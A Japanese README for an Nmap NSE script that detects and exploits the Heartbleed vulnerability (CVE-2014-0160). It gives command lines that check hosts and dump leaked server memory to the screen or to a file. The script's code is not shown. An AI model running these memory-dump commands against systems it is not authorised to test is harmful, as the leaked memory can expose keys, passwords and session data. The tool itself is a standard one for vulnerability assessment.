ssl-heartbleed.nse

Heartbleed/CVE-2014-0160 を発見・悪用する Nmap NSE スクリプトです。このスクリプトは現在、基本的に Patrik Karlsson が書いたものに、私自身のスクリプトから移植した小さな変更を加えたものです。

特徴

• FTP, SMTP, XMPP のサポートを含む (https://github.com/nmap/nmap/blob/master/nselib/sslcert.lua#L231)。
• TLS のすべてのバージョン (TLSv1.0, TLSv1.1, TLSv1.2) をサポート。
• 漏洩したメモリを16進ダンプとして表示。
• 漏洩したメモリをファイルにダンプ。

使用方法

ホストが脆弱かどうかを確認する

これはすべての SSL、FTP、SMTP、XMPP ポートで実行されます。

$ nmap --script ./openssl-heartbleed.nse host.tld

脆弱なホストから漏洩したメモリをダンプする

漏洩したメモリのダンプは、-d フラグで Nmap のデバッグレベルを上げることで有効になります。

$ nmap -d --script=./openssl-heartbleed.nse host.tld

漏洩したメモリをファイルにダンプする

$ nmap --script ./ssl-heartbleed.nse --script-args 'ssl-heartbleed.dumpfile=/tmp/heartbleed.dump' host.tld

すべてのポートに対して ssl-heartbleed.nse を実行する

サービスが検出されたかどうかに関わらず、すべてのポートでスクリプトを強制的に実行します。

$ nmap --script +./ssl-heartbleed.nse host.tld